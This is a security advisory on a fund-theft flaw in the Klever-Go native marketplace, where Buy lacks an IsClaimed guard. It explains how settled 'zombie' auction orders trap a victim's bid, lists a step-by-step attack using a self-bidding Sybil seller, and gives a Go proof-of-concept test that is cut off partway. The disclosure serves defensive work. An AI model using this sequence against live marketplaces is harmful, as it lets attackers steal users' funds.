Résumé

Klever-Go: Zombie-order theft: `Buy` missing `IsClaimed` guard in native marketplace

Détails de l’avis

Location: core/kapp/market/market.go — Buy() (approx. L281–436)
Severity: High

The native marketplace enforces an IsClaimed guard in Claim (market.go:752), CancelOrder (market.go:1125), and orderEscrowAmount (market.go:251), but not in Buy.

Marketplace escrow is virtual: the market KApp account never custodies currency. A bid burns funds from the bidder (bidderAcc.SubFromBalance, ~L378), and refunds/payouts mint to the recipient (AddToBalance, e.g. the prior-bidder refund at ~L349). Soundness depends on each order's CurrentBid being paid out exactly once.

A seller can settle a resting-bid auction early via the seller-accept branch of Claim (L776) → executeBuyMarket (L656). That path sets IsClaimed=true, delivers the NFT, pays the seller, and re-saves the order (SetMarketOrder, ~L726) — but, unlike every other settle path, it does not reset EndTime (contrast immediate-buy Buy ~L416 and CancelOrder ~L1206), and no code path deletes the order. The result is a "zombie" order: already settled, yet still loadable with EndTime in the future and a stale CurrentBidder.

Because Buy has no IsClaimed guard, a new bidder can still Buy on that settled order (the bid guard at ~L317 only forces the new amount Y > CurrentBid X). The new bidder is debited Y; the prior bidder is refunded X (funded by the new bidder, not minted); the new bidder becomes CurrentBidder on an IsClaimed order and can then neither Claim (reverts on IsClaimed) nor CancelOrder (reverts on IsClaimed). Their funds are lost permanently.

Attack sequence (permissionless , anyone can create a sell order):

  1. Attacker (seller S) creates a resting-bid auction (Price=0, ReservePrice>0) for an NFT and self-bids X as bidder A (Sybil).
  2. S accepts A's bid early via Claim → NFT goes to A (= attacker, keeps it), S (= attacker) collects the owner payout, order marked IsClaimed=true but left "live".
  3. Victim B bids Y > X on the still-live-looking auction via Buy. Buy refunds prior bidder A the amount X (AddToBalance, L349) and burns Y from B (SubFromBalance, L378).
  4. B is now CurrentBidder on a claimed order and can neither Claim nor CancelOrder — both revert on IsClaimed. B's Y is unrecoverable; X of it was siphoned to A; Y−X is destroyed.

POC

package market

import (
	"testing"

	"github.com/klever-io/klever-go/common/mock"
	"github.com/klever-io/klever-go/core/kapp"
	"github.com/klever-io/klever-go/core/process/kda/kdautils"
	"github.com/klever-io/klever-go/data/block"
	"github.com/klever-io/klever-go/data/state"
	"github.com/klever-io/klever-go/data/transaction"
	"github.com/klever-io/klever-go/kapps"
	"github.com/klever-io/klever-go/kvm/mock/stub"
	"github.com/stretchr/testify/require"
)

// TestPoC_ZombieOrder_MissingIsClaimedGuardInBuy proves the fund-loss / theft
// vulnerability caused by `Buy` lacking the `IsClaimed` guard that `Claim`
// (market.go L752) and `CancelOrder` (market.go L1125) both enforce.
//
// Attack (attacker A == seller S, victim B):
//  1. S lists an NFT as an Auction with Price=0, ReservePrice=R (bids REST).
//  2. A places a resting bid X >= R via Buy (records CurrentBid/CurrentBidder,
//     no settlement because Price==0).
//  3. S accepts the resting bid early via Claim's seller-accept branch (L776),
//     which routes to executeBuyMarket: IsClaimed=true, NFT delivered to A,
//     proceeds paid to S(=A). This settle path is the ONLY one that does NOT
//     reset EndTime and does NOT delete the order -> the order becomes a live
//     "zombie" (IsClaimed=true, EndTime in the future, still loadable).
//  4. Victim B calls Buy on the zombie order with Y > X. Buy has no IsClaimed
//     guard, so it SUCCEEDS: B is debited Y, prior bidder A is "refunded" X
//     (funded by B), and B becomes CurrentBidder on an already-claimed order.
//  5. B can NEITHER Claim (reverts on IsClaimed) NOR CancelOrder (reverts on
//     IsClaimed). B's Y is unrecoverable; X of it is siphoned to A.
//
// HARM proven: B ends down Y with no NFT and no recovery path; A ends up X.
func TestPoC_ZombieOrder_MissingIsClaimedGuardInBuy(t *testing.T) {
	const (
		blockTime   = int64(1000)
		endTime     = int64(1_001_000) // future relative to blockTime
		reserve     = int64(1_000_000) // R
		bidX        = int64(1_000_000) // A's resting bid (== reserve, >= reserve required)
		bidY        = int64(2_000_000) // B's bid on the zombie order (must be > X)
		fundAttacker = int64(10_000_000)
		fundVictim   = int64(10_000_000)
	)

	klv := kdautils.KLVIdentifier
	collectionID := []byte("ZOMBIE-COLL")
	assetID := []byte("1")
	marketplaceID := []byte("mp-zombie")
	orderID := []byte("order-zombie")

	attacker := defaultAddr  // A == S (seller and first bidder)
	victim := defaultOther   // B

	marketKApp, accCacher, forkController := createTestMarketKApp(t)
	// Post-fork behaviour (guards on royalty overflow enabled); does not touch
	// the missing-IsClaimed-guard path being tested.
	forkController.FixMarketBuyOverflowValue = true

	// --- Fund the two user accounts (Buy debits real balances) ---
	attackerAcc, err := accCacher.LoadUser(attacker)
	require.NoError(t, err)
	require.NoError(t, attackerAcc.AddToBalance(fundAttacker, klv, false))
	require.NoError(t, accCacher.UpdateUser(attackerAcc))

	victimAcc, err := accCacher.LoadUser(victim)
	require.NoError(t, err)
	require.NoError(t, victimAcc.AddToBalance(fundVictim, klv, false))
	require.NoError(t, accCacher.UpdateUser(victimAcc))

	// --- Set up the market KApp: marketplace + escrowed NFT + resting auction order ---
	marketKappAcc, err := accCacher.LoadKApp(kapps.MarketKAppAddress)
	require.NoError(t, err)

	require.NoError(t, marketKApp.SetMarketplace(marketKappAcc, &kapps.Marketplace{
		ID:                 marketplaceID,
		OwnerAddress:       attacker,
		Name:               []byte("Zombie Market"),
		ReferralAddress:    attacker,
		ReferralPercentage: 0, // keep accounting clean
	}))
	// The NFT is escrowed in the market KApp (as if seller deposited it via Sell).
	require.NoError(t, marketKappAcc.AddInternalKDA(collectionID, assetID, []byte("nft-data")))

	// Auction with Price=0, ReservePrice=R -> bids REST (see Buy L330-337 and
	// Sell L1003-1014: Auction has no Price>0 requirement).
	order := &kapps.MarketOrderData{
		ID:                 orderID,
		MarketplaceID:      marketplaceID,
		MarketType:         kapps.MarketOrderData_Auction,
		OwnerAddress:       attacker,
		CollectionID:       collectionID,
		AssetID:            assetID,
		CurrencyID:         klv,
		Price:              0,       // <-- makes bids rest instead of auto-settle
		ReservePrice:       reserve, // R
		ReferralPercentage: 0,
		StartTime:          blockTime,
		EndTime:            endTime, // future
		IsClaimed:          false,
	}
	require.NoError(t, marketKApp.SetMarketOrder(marketKappAcc, order))
	require.NoError(t, accCacher.UpdateKapp(marketKappAcc))

	// --- Shared KApp context / controller wiring for all handler calls ---
	receiptsStub := mock.NewReceiptsContextStub()
	ctx := &mock.KAppContextStub{
		ContractIDCalled: func() int { return 0 },
		ReceiptsCalled:   func() kapp.ReceiptsContext { return receiptsStub },
		BlockCalled: func() *block.Block {
			return &block.Block{Header: &block.BlockHeader{Timestamp: blockTime}}
		},
		TxNonceCalled: func() uint64 { return 1 },
	}
	// Zero-royalty asset so executeBuyMarket pays only marketOwnerAmount (== bid) to the owner.
	asset := &kapps.KDAData{
		OwnerAddress: attacker,
		Royalties: &kapps.RoyaltiesData{
			Address:          attacker,
			MarketPercentage: 0,
			SplitRoyalties:   make(map[string]*kapps.RoyaltySplitData),
		},
	}
	controllerStub := &stub.KAppControllerStub{
		GetCurrentKAppContextCalled: func() kapp.KappContext { return ctx },
		GetKDAKAppCalled: func() kapp.KDAKapp {
			return &stub.KDAKappStub{
				GetKDACalled: func(_ []byte) (state.KAppAccountHand

Références